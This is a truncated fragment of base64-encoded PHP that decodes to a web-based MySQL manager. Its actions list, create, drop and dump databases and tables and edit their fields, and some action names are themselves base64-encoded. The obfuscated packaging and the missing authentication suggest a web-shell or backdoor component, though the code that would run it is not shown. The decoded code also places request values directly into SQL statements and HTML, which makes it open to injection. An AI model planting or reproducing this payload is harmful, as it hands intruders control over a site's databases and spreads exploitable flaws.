sX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTdWNjZXNzIjsNCglpZiggJHF1ZXJ5U3RyICE9ICIiICkgew0KCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7DQoJCWVjaG8gIjx0cj48dGQ+UXVlcnk8L3RkPjx0ZD4kcXVlcnlTdHI8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8dHI+PHRkPlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOw0KCQllY2hvICI8L3RhYmxlPjxwPlxuIjsNCgl9DQp9DQoNCmZ1bmN0aW9uIGxpc3REYXRhYmFzZXMoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJFBIUF9TRUxGOw0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOw0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBEYXRhYmFzZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01PlxuIjsNCgkkcERCID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbWUgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlczwvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2NyZWF0ZV9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbGlzdERhdGFiYXNlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KCW15c3FsX2Ryb3BfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWxpc3REYXRhYmFzZXMoKTsNCn0NCg0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoJZWNobyAiPGgxPlRhYmxlcyBMaXN0PC9oMT5cbiI7DQoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlVGFibGU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dGFibGVuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MTIwIG5hbWU9cXVlcnlTdHI+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBUYWJsZSA9IG15c3FsX2xpc3RfdGFibGVzKCAkZGJuYW1lICk7DQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJHRhYmxlbmFtZSA9IG15c3FsX3RhYmxlbmFtZSggJHBUYWJsZSwgJGkgKTsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZVxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5EYXRhPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPiI7DQp9DQoNCmZ1bmN0aW9uIGNyZWF0ZVRhYmxlKCkgew0KDQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJMRSAkdGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+D